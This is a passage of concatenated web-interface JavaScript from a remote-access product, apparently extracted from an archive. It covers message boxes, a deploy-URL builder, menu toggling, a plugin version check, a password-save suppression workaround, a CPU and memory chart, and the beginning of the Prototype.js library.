LMIMessageBox.mID = aID;
},

// shows the binded message box
Show: function () {
_(LMIMessageBox.mID).style.display = "block";
},

// queries if the binded message box visible
IsVisible: function () {
return _(LMIMessageBox.mID).style.display == "block";
},

// hides the binded message box
Hide: function () {
_(LMIMessageBox.mID).style.display = "none";
},

// decodes the special markups
Decode: function (aText) {
return aText.replace(/\$SHORTCUTKEY/g, LMIBrowserInfo.GetDownloadShortcut())
.replace(/\$PLATFORMNAME/g, LMIBrowserInfo.GetPlatform())
.replace(/\$BROWSERNAME/g, LMIBrowserInfo.GetName())
.replace(/\$LAUNCH_APPLICATION/g, LMIBrowserInfo.GetLaunchApplicationText())
.replace(/\$REMEMBER_MY_CHOICE/g, LMIBrowserInfo.GetRemeberMyChoiceText())
.replace(/\$BROWSERVERSION/g, LMIBrowserInfo.GetVersionString())
.replace(/\n/g, "<br />")
.replace(/\{([^\|]+)\|([^\}]+)\}/g, "<a href=\"$2\">$1</a>")
.replace(/\*([^\*]+)\*/g, "<b>$1</b>");
},

// sets the title text of the binded message box
SetTitle: function (aText) {
var el = _(LMIMessageBox.mID)._("h1");
if (el) el.innerHTML = LMIMessageBox.Decode(aText);
},

// gets the title text of the binded message box
GetTitle: function () {
var el = _(LMIMessageBox.mID)._("h1");
return el ? el.innerHTML : "";
},

// sets the content text of the binded message box
SetContent: function (aContent) {
var el = _(LMIMessageBox.mID)._("p");
if (el) el.innerHTML = LMIMessageBox.Decode(aContent);
},

// gets the content text of the binded message box
GetContent: function () {
var el = _(LMIMessageBox.mID)._("p");
return el ? el.innerHTML : "";
},

// sets the title of the specified column
SetColumnTitle: function (aIndex, aText) {
var el = _(LMIMessageBox.mID + "LMICol" + aIndex)._("h1");
if (el) el.innerHTML = LMIMessageBox.Decode(aText);
},

// gets the title of the specified column
GetColumnTitle: function (aIndex) {
var el = _(LMIMessageBox.mID + "LMICol" + aIndex)._("h1");
return el.innerHTML;
},

// sets the content of the specified column
SetColumnContent: function (aIndex, aContent) {
var el = _(LMIMessageBox.mID + "LMICol" + aIndex)._("span");
if (el) el.innerHTML = LMIMessageBox.Decode(aContent);
},

// gets the content of the specified column
GetColumnContent: function (aIndex) {
var el = _(LMIMessageBox.mID + "LMICol" + aIndex)._("span");
return el ? el.innerHTML : "";
},

// setup columns, sets both the title and the content via one step
SetupColumn: function (aIndex, aTitle, aContent) {
LMIMessageBox.SetColumnTitle(aIndex, aTitle);
LMIMessageBox.SetColumnContent(aIndex, aContent);
},

// sets the note text
SetNote: function (aNote) {
var el = _(LMIMessageBox.mID)._("p");
if (el) el.innerHTML = LMIMessageBox.Decode(aNote);
},

// gets the common HTML contents of message boxes
CreateCommonHtml: function(aClassName) {
var sHtml = '<div id="' + LMIMessageBox.mID + '" class="LMIMessageBox ' + aClassName + '">' +
'<img id="Close" src="/img/lmi-box-close-icon.png" width="16" height="16" border="0" ' +
'onclick="LMIMessageBox.Bind(\'' + LMIMessageBox.mID + '\'); LMIMessageBox.Hide()" />' +
'<h1></h1><img id="Help" src="../img/help.png" width="16" height="16" border="0" ' +
'onclick="window.open(\'http://help.logmein.com/articles/en_US/FAQ/What-is-the-LogMeIn-Client-app\')" />';
if (aClassName == "Info") {
sHtml += "<p></p>";
}
return sHtml;
},

// creates an alert window with the specified identifier
CreateAlertBox: function (aID) {
LMIMessageBox.Bind(aID);
var sHtml = LMIMessageBox.CreateCommonHtml("Alert");
for (i = 1; i < 4; ++i) {
var sStyle = "";
if (LMIBrowserInfo.GetPlatform() == kPLATFORM_MAC &&
LMIBrowserInfo.GetName() == "Safari" && i == 1)
{
sStyle = "style=\"display: none\" ";
}
sHtml += '<div id="' + LMIMessageBox.mID + 'LMICol' + i + '" class="LMIColumn Col' + i + '" ' + sStyle + '>' +
'<h1></h1><span></span></div>';
}
sHtml += '<p></p></div>';
document.writeln(sHtml);
},

// creates an info window with the specified identifier
CreateInfoBox: function (aID) {
LMIMessageBox.Bind(aID);
var sHtml = LMIMessageBox.CreateCommonHtml("Info");
for (i = 1; i < 4; ++i) {
sHtml += '<div id="' + LMIMessageBox.mID + 'LMICol' + i + '" class="LMIColumn Col' + i + '">' +
'<h1></h1><span></span></div>';
}
sHtml += '</div>';
document.writeln(sHtml);
}
}

// Constructor.
// Creates a new instance of the LMIClientDeployFile class.
function LMIClientDeployFile(aUrl) {
this.kPROP_VALUE_SEPARATOR = ":";
this.kPROP_URL = "URL";
this.kSCHEME = "https";
this.kHOMESITE = "&PRODUCTWEBSITE&";
this.kWEBAPIPATH = "/LMIClient/";
this.kWEBAPICALL = LMIBrowserInfo.GetPlatform() + ".ashx";
this.kCGIPARAMNAME = "target";

this.m_nSessionTimeout = parseInt("&CFG.Net.IdleTimeOut&");
if (isNaN(this.m_nSessionTimeout) || (0 == this.m_nSessionTimeout)) {
this.m_nSessionTimeout = 60 * 60;
}
this.m_sPropUrlValue = aUrl;
this.m_nPropSessionValid = Math.round((new Date()).getTime() / 1000) + this.m_nSessionTimeout;
}

LMIClientDeployFile.prototype = {
// makes a name deploy property:
MakeProp: function (aName, aValue) {
return aName + this.kPROP_VALUE_SEPARATOR + aValue;
},

// gets the HTTP request URL:
GetHTTPRequest: function () {
var sTarget = encodeURIComponent(Base64.encode(
this.MakeProp(this.kPROP_URL, this.m_sPropUrlValue)));
return this.kSCHEME + "://" + this.kHOMESITE + this.kWEBAPIPATH +
this.kWEBAPICALL + "?" + this.kCGIPARAMNAME + "=" + sTarget;
},

// gets the string representation of this object:
toString: function () { return this.GetHTTPRequest() }
}
0js\menutools.jsPoĀ<?ratmpl?>
var g_bMinimized = false;

function minmaxMenu(bMinimize)
{
var mainfs = window.top.document.getElementById('mainframeset');
var menucontent = document.getElementById('menucontent');
var menuSplitter = document.getElementById('menuSplitter');
var minmaxButton = document.getElementById('minmaxButton');

if (bMinimize)
{
mainfs.cols = "7, *";
menucontent.style.display = "none";
minmaxButton.src = "img/menu_splitter_open.gif";

menuSplitter.onclick = function() {minmaxMenu(false); if (typeof CrankUpRapvobj == 'function') {CrankUpRapvobj(true);}};
menuSplitter.title = "$MSG.MENU.MAXIMIZEMENU$";
menuSplitter.style.left = "0px";

g_bMinimized = true;
}
else
{
<?if UI="secrem"?>
mainfs.cols = "167, *";
menuSplitter.style.left = "160px";
<?else?>
mainfs.cols = "197, *";
menuSplitter.style.left = "190px";
<?endif?>

menucontent.style.display = "block";
minmaxButton.src = "img/menu_splitter_close.gif";

menuSplitter.onclick = function() {minmaxMenu(true); if (typeof CrankUpRapvobj == 'function') {CrankUpRapvobj(false);}};
menuSplitter.title = "$MSG.MENU.MINIMIZEMENU$";

g_bMinimized = false;
}
}

function minmaxOnMouseOver()
{
var minmaxButton = document.getElementById('minmaxButton');

if (g_bMinimized)
minmaxButton.src = "img/menu_splitter_open_over.gif";
else
minmaxButton.src = "img/menu_splitter_close_over.gif";
}

function minmaxOnMouseOut()
{
var minmaxButton = document.getElementById('minmaxButton');

if (g_bMinimized)
minmaxButton.src = "img/menu_splitter_open.gif";
else
minmaxButton.src = "img/menu_splitter_close.gif";
}?!js\moztools.js// simple check for the plugin's existence
function isPluginRegistered() {
navigator.plugins.refresh(false);
var mimetype = navigator.mimeTypes["application/x-3amlabs-raversion"];
if (mimetype && mimetype.enabledPlugin)
return true;
return false;
}

// try to parse for the version in the name of the plugin
function getPluginVersion(){
navigator.plugins.refresh(false);
var mimetype = navigator.mimeTypes["application/x-3amlabs-raversion"];
if (mimetype && mimetype.enabledPlugin){
var name = mimetype.enabledPlugin.name;
var regexp = "[0-9.]+\\b";

var re = new RegExp(regexp);
var m = re.exec(name);

if ( (m != null) && ( m.length == 1 ) ) {
return m[0];
} else {
return "";
}
}
return "";
}

function isUpdateNeeded( current, required ){
var cur_array = current.split('.');
var req_array = required.split('.');

if ( ( cur_array.length != 4 ) || ( req_array.length != 4 ) ){
return false;
}

var cur = 1000*1000*1000*parseInt(cur_array[0]) + 1000*1000*parseInt(cur_array[1]) + 1000*parseInt(cur_array[2]) + parseInt(cur_array[3]);
var req = 1000*1000*1000*parseInt(req_array[0]) + 1000*1000*parseInt(req_array[1]) + 1000*parseInt(req_array[2]) + parseInt(req_array[3]);

if ( cur < req ) return true;
return false;
}
ZN0js\passsave.jsv<?ratmpl?>
<?nocache?>

var passSaveHiderSuffix = "_passsavehider";
var sBrowserName = LMIBrowserInfo.GetName();

function logMessage(msg)
{
if (typeof (LogMessage) == "function")
LogMessage(msg);
else
if (typeof (console) != "undefined" && typeof (console.log) == "function")
console.log(msg);
}

function shouldUseDisabler()
{
logMessage('Browser name is ' + sBrowserName + ', major version is ' + LMIBrowserInfo.GetMajorVersion());
if (!LMIBrowserInfo.IsRa() &&												// RA has fixed hostnames and no autologin support, let the browser and the user decide whether to save the password on the browser supported way
((sBrowserName == "Chrome" && LMIBrowserInfo.IsLaterOrEquals("34")) ||  // NOTE: Currently v33 used in opera already, using that version we would support both chrome and opera and will not break anything, but luckily in a few  weeks opera will switch to that version too.
(sBrowserName == "MSIE" && LMIBrowserInfo.IsLaterOrEquals("11")))
) 
return true;
return false;
}

// This function enumerates all input fields and calls func for each matching element
function enumeratePasswordFields(func, skippNew) 
{
var all = document.getElementsByTagName( "input" );
var l = all.length;

logMessage('Found ' + l + ' input fields');
for ( var i = 0; i < l; i++ ) {
var element = all[i];

//logMessage('next node with input type is ' + element.name + ', type is ' + element.type + ', id is ' + element.id);
if (element.type == "password") {
logMessage('\tnext node with password type is ' + element.name + ', id is ' + element.id);
func(element);
if (skippNew) {
++i;    // all is dynamic and live maintained
++l;    // skip newly added element
}
}
}
}

function hideElement(element) 
{
element.hidden = "1";
element.style.display = "none";
element.style.visibility = "hidden" ;
}

// This function adds to all input fileds with password type a hidden mate
function initPassSaveDisabler() 
{
enumeratePasswordFields ( function(element) {
var hider = element.cloneNode(true);
hider.name = hider.name +  passSaveHiderSuffix;
hider.id = hider.id + passSaveHiderSuffix;
hideElement(hider);
element.parentNode.insertBefore(hider, element);
}, true);
}

function savePasswordFields() 
{
if (shouldUseDisabler()) {
enumeratePasswordFields ( function(element) {
if (element.style.display != "none") {			// skip the hidden, saver fields

if (sBrowserName == "MSIE") {				// for ie it's well enough to hide the password typed fields 
hideElement(element);                   // (Note: currently we could return from here without doing anything, but just till  this trick works http://stackoverflow.com/questions/19229507/how-to-disable-autocomplete-for-a-html-password-field-in-ie11)
}
else {                                      // for gecco we need to save and empty the password typed fields
var hiderElement = document.getElementById(element.id + passSaveHiderSuffix);
hiderElement.value = element.value;
element.value = "";
}
}
}, false);
}
}

function restorePasswordFields() 
{
if (shouldUseDisabler()) {
if (sBrowserName == "MSIE" )                 // for ie it's well enough to hide the password typed fields, so here nothing left to do
return;

enumeratePasswordFields ( function(element) {   
if (element.style.display != "none") {    // skip the hidden, saver fields
// for gecco now we should restore the password typed fields content for form submit
var hiderElement = document.getElementById(element.id + passSaveHiderSuffix);
element.value = hiderElement.value;
}
}, false);
}
}

// initialization hook up
if (shouldUseDisabler()) {      // just for specific browsers
if ( typeof window.addEventListener != "undefined" )				// DOM2
window.addEventListener( "load", initPassSaveDisabler, false );
else {																// IE 
if ( typeof window.attachEvent != "undefined" )
window.attachEvent( "onload", initPassSaveDisabler );
else {
if ( window.onload != null ) {
var oldOnload = window.onload;
window.onload = function ( e ) {
oldOnload( e );
initPassSaveDisabler();
};
}
else 
window.onload = initPassSaveDisabler;
}
}
logMessage('Pass save confirmation workaround activated');
}.js\performanceViewer.js#Ň/////////////////////////////////////////////////
// LMIPerformanceViewer
/////////////////////////////////////////////////

/**
* Initializes background and the six renderer, paddings/margins.
* 
* @constructor
* @this {LMIPerformanceViewer}
* @param {String} id the html id of the canvas element
*/
function LMIPerformanceViewer(canvasId) {
this.pv = new PerformanceViewer(canvasId);
this.dataCpu = new DataSource();
this.dataMem = new DataSource();

// Layout, numbers in canvas size percentage
// /-----\/-----\ /---------------------------\
// | col || col | |         lineCpu           |
// | Cpu || Mem | |         lineMem           |
// \-----/\-----/ \---------------------------/
// /-------------------\ /--------------------\
// |      textCpu      | |      textMem       |
// \-------------------/ \--------------------/
var padding = 1; // in pixel
var red = '#BE3D45';
var green = '#87E284';
var lightGreen = '#CAFFC4';

this.pv.addGraph(this.dataCpu, new Renderer('column', new Layout(0, 0, 8, 70, padding), green)); // CPU column
this.pv.addGraph(this.dataMem, new Renderer('column', new Layout(8, 0, 8, 70, padding), red)); // Mem column

this.pv.addGraph(null, new Renderer('background', new Layout(16, 0, 84, 70, padding), lightGreen)); // chart background (horizontal lines)
this.pv.addGraph(this.dataCpu, new Renderer('line', new Layout(16, 0, 84, 70, padding), green)); // line chart of CPU
this.pv.addGraph(this.dataMem, new Renderer('line', new Layout(16, 0, 84, 70, padding), red)); // line chart of Mem

this.pv.addGraph(this.dataCpu, new Renderer('text', new Layout(0, 70, 50, 30, padding), green, new TextRendererParams('CPU Load ', ' %'))); // text for CPU
this.pv.addGraph(this.dataMem, new Renderer('text', new Layout(50, 70, 50, 30, padding), red, new TextRendererParams('Memory Load ', ' %'))); // text for Mem
};

/**
* Sets the new data values for CPU.
* 
* @param {Array} data an array of numbers
*/
LMIPerformanceViewer.prototype.setCpuData = function(data) {
this.dataCpu.setData(data);
};

/**
* Sets the new data values for memory.
* 
* @param {Array} data an array of numbers
*/
LMIPerformanceViewer.prototype.setMemData = function(data) {
this.dataMem.setData(data);
};

/**
* Refreshes the UI.
*/
LMIPerformanceViewer.prototype.render = function() {
this.pv.render();
};

/////////////////////////////////////////////////
// DataSource
/////////////////////////////////////////////////

/**
* DataSource contains data that can be rendered.
* 
* @constructor
* @this {DataSource}
* @param {Array} data an array of numbers, queue is initialized with it.
*/
function DataSource(data) {
this.lastValue = 0;
this.bounds = [ 0, 100 ];
this.data = data;
};

/**
* Adds all given value to the queue
* 
* @param {Array} data an array of numbers
*/
DataSource.prototype.setData = function(data) {
this.data = [];
for ( var i = 0; i < data.length; i++) {
this.addData(data[i]);
}
};

/**
* Normalizes data and adds it to the queue.
* 
* @param {Number} data a number value
*/
DataSource.prototype.addData = function(data) {
this.data.push(Math.max(this.bounds[0], Math.min(this.bounds[1], data)));
};

/**
* @returns {Array} the stored number queue.
*/
DataSource.prototype.getData = function() {
return this.data;
};

/**
* @returns {Number} number the next number to be rendered.
*/
DataSource.prototype.getFirstData = function() {
return this.data[0];
};

DataSource.prototype.getLastData = function() {
if (this.data.length == 0){
return null;
}
return this.data[this.data.length -1];
};
/////////////////////////////////////////////////
// Rect
/////////////////////////////////////////////////

/**
* @constructor
* @this {Rect}
*/
function Rect(x, y, w, h) {
this.x = x;
this.y = y;
this.w = w;
this.h = h;
}

/////////////////////////////////////////////////
// Layout
/////////////////////////////////////////////////

/**
* Defines a layout inside canvas.
* 
* @constructor
* @this {Layout}
* @param {Number} xp percentage for start x coordinate
* @param {Number} yp percentage for start y coordinate
* @param {Number} wp percentage for width
* @param {Number} hp percentage for height
* @param {Number} padding the padding inside (xp,yp,wp,hp) rectangle
*/
function Layout(xp, yp, wp, hp, padding) {
this.rect = new Rect(xp / 100.0, yp / 100.0, wp / 100.0, hp / 100.0);
this.padding = padding;
};

/**
* @param {Number} w
* @param {Number} h
* @returns {Rect} the rectangle where renderer can draw.
*/
Layout.prototype.getDrawRect = function(w, h) {
var r = this.rect;
var p = this.padding;
return new Rect(r.x * w + p, r.y * h + p, r.w * w - 2 * p, r.h * h - 2 * p);
};

/////////////////////////////////////////////////
// TextRendererParams
/////////////////////////////////////////////////

/**
* Stores the permanent pre- and suffix of text.
* 
* @constructor
* @this {TextRendererParams}
* @param {String} prefix
* @param {String} suffix
*/
function TextRendererParams(prefix, suffix) {
this.prefix = prefix;
this.suffix = suffix;
}

/////////////////////////////////////////////////
// Renderer
/////////////////////////////////////////////////

/**
* Renders a chart.
* 
* @constructor
* @this {Renderer}
* @param {String} type can be any of: column, background, line, text
* @param {Layout} layout the layout on canvas
* @param {String} color e.g: #906090
* @param {TextRendererParams} params
*/
function Renderer(type, layout, color, params) {
this.type = type;
this.layout = layout;
this.color = color;
this.params = params;
};

/**
* @param {Number} value
* @param {Array} bounds two numbers, where value should be scaled between
* @param {Number} max the allowed maximum
* @returns {Number} the normalized value.
*/
Renderer.prototype.normalizeValue = function(value, bounds, max) {
var intervalLength = bounds[1] - bounds[0];
return (value - bounds[0]) / intervalLength * max;
};

/**
* Renders the given datasource to the canvas context.
* 
* @param {CanvasRenderingContext2D} context the '2d' context of a canvas
* @param {DataSource} dataSource
*/
Renderer.prototype.render = function(context, dataSource) {
var drawRect = this.layout.getDrawRect(context.canvas.clientWidth, context.canvas.clientHeight);

context.save();
context.scale(context.canvas.width / context.canvas.clientWidth, context.canvas.height / context.canvas.clientHeight);

context.beginPath();
switch (this.type) {
case 'column': {
var value = this.normalizeValue(dataSource.getFirstData(), dataSource.bounds, drawRect.h);

context.fillStyle = this.color;
context.fillRect(drawRect.x, drawRect.h - value, drawRect.w, value + 1);
break;
}
case 'background': {
var lineNum = 5;
var lineDiff = drawRect.h / lineNum;

context.strokeStyle = this.color;
for ( var i = 0; i < lineNum + 1; i++) {
context.moveTo(drawRect.x, drawRect.y + i * lineDiff);
context.lineTo(drawRect.x + drawRect.w, drawRect.y + i * lineDiff);
}
break;
}
case 'line': {
var data = dataSource.getData();
var xDiff = drawRect.w / (data.length - 1);
var normalizer = (drawRect.h / (dataSource.bounds[1] - dataSource.bounds[0]));
var x = 0;
var y = drawRect.h - data[0] * normalizer;

context.strokeStyle = this.color;
context.moveTo(drawRect.x + x, drawRect.y + y);
for ( var i = 1; i < data.length; i++) {
x += xDiff;
y = drawRect.h - data[i] * normalizer;
context.lineTo(drawRect.x + x, drawRect.y + y);
}
break;
}
case 'text': {
var value = Math.round(dataSource.getFirstData());

context.strokeStyle = this.color;
context.fillStyle = this.color;
context.font = '9px sans-serif';
context.textAlign = 'center';
context.textBaseline = 'middle';
context.rect(drawRect.x, drawRect.y, drawRect.w, drawRect.h);
context.fillText(this.params.prefix + value + this.params.suffix, drawRect.x + drawRect.w / 2, drawRect.y + drawRect.h / 2 + 1);
break;
}
default: {
context.strokeStyle = this.color;
console.log('DEFAULT - not implemented yet');
context.rect(drawRect.x, drawRect.y, drawRect.w, drawRect.h);
break;
}
}
context.stroke();
context.restore();
};

/////////////////////////////////////////////////
// PerformanceViewer
/////////////////////////////////////////////////

/**
* @constructor
* @this {PerformanceViewer}
* @param {String} canvasId
*/
function PerformanceViewer(canvasId) {
this.canvas = document.getElementById(canvasId);
this.context = this.canvas.getContext('2d');
this.shiftSize = 10;
this.graphs = [];
};

/**
* Registers a new graph.
* 
* @param {DataSource} dataSource
* @param {Renderer} renderer
*/
PerformanceViewer.prototype.addGraph = function(dataSource, renderer) {
this.graphs.push({
dataSource : dataSource,
renderer : renderer
});
};

/**
* Renders all registered graphs.
*/
PerformanceViewer.prototype.render = function() {
this.context.clearRect(0, 0, this.context.canvas.width, this.context.canvas.height);
for ( var i = 0; i < this.graphs.length; i++) {
var graph = this.graphs[i];
graph.renderer.render(this.context, graph.dataSource);
}
};
4)ijs\prototype.js/*  Prototype JavaScript framework, version 1.7.3
*  (c) 2005-2010 Sam Stephenson
*
*  Prototype is freely distributable under the terms of an MIT-style license.
*  For details, see the Prototype web site: http://www.prototypejs.org/
*
*--------------------------------------------------------------------------*/

var Prototype = {

Version: '1.7.3',

Browser: (function(){
var ua = navigator.userAgent;
var isOpera = Object.prototype.toString.call(window.opera) == '[object Opera]';
return {
IE:             !!window.attachEvent && !isOpera,
Opera:          isOpera,
WebKit:         ua.indexOf('AppleWebKit/') > -1,
Gecko:          ua.indexOf('Gecko') > -1 && ua.indexOf('KHTML') === -1,
MobileSafari:   /Apple.*Mobile/.test(ua)
}
})(),

BrowserFeatures: {
XPath: !!document.evaluate,

SelectorsAPI: !!document.querySelector,

ElementExtensions: (function() {
var constructor = window.Element || window.HTMLElement;
return !!(constructor && constructor.prototype);
})(),
SpecificElementExtensions: (function() {
if (typeof window.HTMLDivElement !== 'undefined')
return true;

var div = document.createElement('div'),
form = document.createElement('form'),
isSupported = false;

if (div['__proto__'] && (div['__proto__'] !== form['__proto__'])) {
isSupported = true;
}

div = form = null;

return isSupported;
})()
},

ScriptFragment: '<script[^>]*>([\\S\\s]*?)<\/script\\s*>',
JSONFilter: /^\/\*-secure-([\s\S]*)\*\/\s*$/,

emptyFunction: function() { },

K: function(x) { return x }
};

if (Prototype.Browser.MobileSafari)
Prototype.BrowserFeatures.SpecificElementExtensions = false;
/* Based on Alex Arnell's inheritance implementation. */

var Class = (function() {

var IS_DONTENUM_BUGGY = (function(){
for (var p in { toString: 1 }) {
if (p === 'toString') return false;
}
return true;
})();

function subclass() {};
function create() {
var parent = null, properties = $A(arguments);
if (Object.isFunction(properties[0]))
parent = properties.shift();

function klass() {
this.initialize.apply(this, arguments);
}

Object.extend(klass, Class.Methods);
klass.superclass = parent;
klass.subclasses = [];

if (parent) {
subclass.prototype = parent.prototype;
klass.prototype = new subclass;
parent.subclasses.push(klass);
}

for (var i = 0, length = properties.length; i < length; i++)
klass.addMethods(properties[i]);

if (!klass.prototype.initialize)
klass.prototype.initialize = Prototype.emptyFunction;

klass.prototype.constructor = klass;
return klass;
}

function addMethods(source) {
var ancestor   = this.superclass && this.superclass.prototype,
properties = Object.keys(source);

if (IS_DONTENUM_BUGGY) {
if (source.toString != Object.prototype.toString)
properties.push("toString");
if (source.valueOf != Object.prototype.valueOf)
properties.push("valueOf");
}

for (var i = 0, length = properties.length; i < length; i++) {
var property = properties[i], value = source[property];
if (ancestor && Object.isFunction(value) &&
value.argumentNames()[0] == "$super") {
var method = value;
value = (function(m) {
return function() { return ancestor[m].apply(this, arguments); };
})(property).wrap(method);

value.valueOf = (function(method) {
return function() { return method.valueOf.call(method); };
})(method);

value.toString = (function(method) {
return function() { return method.toString.call(method); };
})(method);
}
this.prototype[property] = value;
}

return this;
}

return {
create: create,
Methods: {
addMethods: addMethods
}
};
})();
(function() {

var _toString = Object.prototype.toString,
_hasOwnProperty = Object.prototype.hasOwnProperty,
NULL_TYPE = 'Null',
UNDEFINED_TYPE = 'Undefined',
BOOLEAN_TYPE = 'Boolean',
NUMBER_TYPE = 'Number',
STRING_TYPE = 'String',
OBJECT_TYPE = 'Object',
FUNCTION_CLASS = '[object Function]',
BOOLEAN_CLASS = '[object Boolean]',
NUMBER_CLASS = '[object Number]',
STRING_CLASS = '[object String]',
ARRAY_CLASS = '[object Array]',
DATE_CLASS = '[object Date]',
NATIVE_JSON_STRINGIFY_SUPPORT = window.JSON &&
typeof JSON.stringify === 'function' &&
JSON.stringify(0) === '0' &&
typeof JSON.stringify(Prototype.K) === 'undefined';



var DONT_ENUMS = ['toString', 'toLocaleString', 'valueOf',
'hasOwnProperty', 'isPrototypeOf', 'propertyIsEnumerable', 'constructor'];

var IS_DONTENUM_BUGGY = (function(){
for (var p in { toString: 1 }) {
if (p === 'toString') return false;
}
return true;
})();

function Type(o) {
switch(o) {
case null: return NULL_TYPE;
case (void 0): return UNDEFINED_TYPE;
}
var type = typeof o;
switch(type) {
case 'boolean': return BOOLEAN_TYPE;
case 'number':  return NUMBER_TYPE;
case 'string':  return STRING_TYPE;
}
return OBJECT_TYPE;
}

function extend(destination, source) {
for (var property in source)
destination[property] = source[property];
return destination;
}

function inspect(object) {
try {
if (isUndefined(object)) return 'undefined';
if (object === null) return 'null';
return object.inspect ? object.inspect() : String(object);
} catch (e) {
if (e instanceof RangeError) return '...';
throw e;
}
}

function toJSON(value) {
return Str('', { '': value }, []);
}

function Str(key, holder, stack) {
var value = holder[key];
if (Type(value) === OBJECT_TYPE && typeof value.toJSON === 'function') {
value = value.toJSON(key);
}

var _class = _toString.call(value);

switch (_class) {
case NUMBER_CLASS:
case BOOLEAN_CLASS:
case STRING_CLASS:
value = value.valueOf();
}

switch (value) {
case null: return 'null';
case true: return 'true';
case false: return 'false';
}

var type = typeof value;
switch (type) {
case 'string':
return value.inspect(true);
case 'number':
return isFinite(value) ? String(value) : 'null';
case 'object':

for (var i = 0, length = stack.length; i < length; i++) {
if (stack[i] === value) {
throw new TypeError("Cyclic reference to '" + value + "' in object");
}
}
stack.push(value);

var partial = [];
if (_class === ARRAY_CLASS) {
for (var i = 0, length = value.length; i < length; i++) {
var str = Str(i, value, stack);
partial.push(typeof str === 'undefined' ? 'null' : str);
}
partial = '[' + partial.join(',') + ']';
} else {
var keys = Object.keys(value);
for (var i = 0, length = keys.length; i < length; i++) {
var key = keys[i], str = Str(key, value, stack);
if (typeof str !== "undefined") {
partial.push(key.inspect(true)+ ':' + str);
}
}
partial = '{' + partial.join(',') + '}';
}
stack.pop();
return partial;
}
}

function stringify(object) {
return JSON.stringify(object);
}

function toQueryString(object) {
return $H(object).toQueryString();
}

function toHTML(object) {
return object && object.toHTML ? object.toHTML() : String.interpret(object);
}

function keys(object) {
if (Type(object) !== OBJECT_TYPE) { throw new TypeError(); }
var results = [];
for (var property in object) {
if (_hasOwnProperty.call(object, property))
results.push(property);
}

if (IS_DONTENUM_BUGGY) {
for (var i = 0; property = DONT_ENUMS[i]; i++) {
if (_hasOwnProperty.call(object, property))
results.push(property);
}
}

return results;
}

function values(object) {
var results = [];
for (var property in object)
results.push(object[property]);
return results;
}

function clone(object) {
return extend({ }, object);
}

function isElement(object) {
return !!(object && object.nodeType == 1);
}

function isArray(object) {
return _toString.call(object) === ARRAY_CLASS;
}

var hasNativeIsArray = (typeof Array.isArray == 'function')
&& Array.isArray([]) && !Array.isArray({});

if (hasNativeIsArray) {
isArray = Array.isArray;
}

function isHash(object) {
return object instanceof Hash;
}

function isFunction(object) {
return _toString.call(object) === FUNCTION_CLASS;
}

function isString(object) {
return _toString.call(object) === STRING_CLASS;
}

function isNumber(object) {
return _toString.call(object) === NUMBER_CLASS;
}

function isDate(object) {
return _toString.call(object) === DATE_CLASS;
}

function isUndefined(object) {
return typeof object === "undefined";
}

extend(Object, {
extend:        extend,
inspect:       inspect,
toJSON:        NATIVE_JSON_STRINGIFY_SUPPORT ? stringify : toJSON,
toQueryString: toQueryString,
toHTML:        toHTML,
keys:          Object.keys || keys,
values:        values,
clone:         clone,
isElement:     isElement,
isArray:       isArray,
isHash:        isHash,
isFunction:    isFunction,
isString:      isString,
isNumber:      isNumber,
isDate:        isDate,
isUndefined:   isUndefined
});
})();
Object.extend(Function.prototype, (function() {
var slice = Array.prototype.slice;

function update(array, args) {
var arrayLength = array.length, length = args.length;
while (length--) array[arrayLength + length] = args[length];
return array;
}

function merge(array, args) {
array = slice.call(array, 0);
return update(array, args);
}

function argumentNames() {
var names = this.toString().match(/^[\s\(]*function[^(]*\(([^)]*)\)/)[1]
.replace(/\/\/.*?[\r\n]|\/\*(?:.|[\r\n])*?\*\//g, '')
.replace(/\s+/g, '').split(',');
return names.length == 1 && !names[0] ? [] : names;
}


function bind(context) {
if (arguments.length < 2 && Object.isUndefined(arguments[0]))
return this;

if (!Object.isFunction(this))
throw new TypeError("The object is not callable.");

var nop = function() {};
var __method = this, args = slice.call(arguments, 1);

var bound = function() {
var a = merge(args, arguments);
var c = this instanceof bound ? this : context;
return __method.apply(c, a);
};

nop.prototype   = this.prototype;
bound.prototype = new nop();

return bound;
}

function bindAsEventListener(context) {
var __method = this, args = slice.call(arguments, 1);
return function(event) {
var a = update([event || window.event], args);
return __method.apply(context, a);
}
}

function curry() {
if (!arguments.length) return this;
var __method = this, args = slice.call(arguments, 0);
return function() {
var a = merge(args, arguments);
return __method.apply(this, a);
}
}

function delay(timeout) {
var __method = this, args = slice.call(arguments, 1);
timeout = timeout * 1000;
return window.setTimeout(function() {
return __method.apply(__method, args);
}, timeout);
}

function defer() {
var args = update([0.01], arguments);
return this.delay.apply(this, args);
}

function wrap(wrapper) {
var __method = this;
return function() {
var a = update([__method.bind(this)], arguments);
return wrapper.apply(this, a);
}
}

function methodize() {
if (this._methodized) return this._methodized;
var __method = this;
return this._methodized = function() {
var a = update([this], arguments);
return __method.apply(null, a);
};
}

var extensions = {
argumentNames:       argumentNames,
bindAsEventListener: bindAsEventListener,
curry:               curry,
delay:               delay,
defer:               defer,
wrap:                wrap,
methodize:           methodize
};

if (!Function.prototype.bind)
extensions.bind = bind;

return extensions;
})());



(function(proto) {


function toISOString() {
return this.getUTCFullYear() + '-' +
(this.getUTCMonth() + 1).toPaddedString(2) + '-' +
this.getUTCDate().toPaddedString(2) + 'T' +
this.getUTCHours().toPaddedString(2) + ':' +
this.getUTCMinutes().toPaddedString(2) + ':' +
this.getUTCSeconds().toPaddedString(2) + 'Z';
}


function toJSON() {
return this.toISOString();
}

if (!proto.toISOString) proto.toISOString = toISOString;
if (!proto.toJSON) proto.toJSON = toJSON;

})(Date.prototype);


RegExp.prototype.match = RegExp.prototype.test;

RegExp.escape = function(str) {
return String(str).replace(/([.*+?^=!:${}()|[\]\/\\])/g, '\\$1');
};
var PeriodicalExecuter = Class.create({
initialize: function(callback, frequency) {
this.callback = callback;
this.frequency = frequency;
this.currentlyExecuting = false;

this.registerCallback();
},

registerCallback: function() {
this.timer = setInterval(this.onTimerEvent.bind(this), this.frequency * 1000);
},

execute: function() {
this.callback(this);
},

stop: function() {
if (!this.timer) return;
clearInterval(this.timer);
this.timer = null;
},

onTimerEvent: function() {
if (!this.currentlyExecuting) {
try {
this.currentlyExecuting = true;
this.execute();
this.currentlyExecuting = false;
} catch(e) {
this.currentlyExecuting = false;
throw e;
}
}
}
});
Object.extend(String, {
interpret: function(value) {
return value == null ? '' : String(value);
},
specialChar: {
'\b': '\\b',
'\t': '\\t',
'\n': '\\n',
'\f': '\\f',
'\r': '\\r',
'\\': '\\\\'
}
});

Object.extend(String.prototype, (function() {
var NATIVE_JSON_PARSE_SUPPORT = window.JSON &&
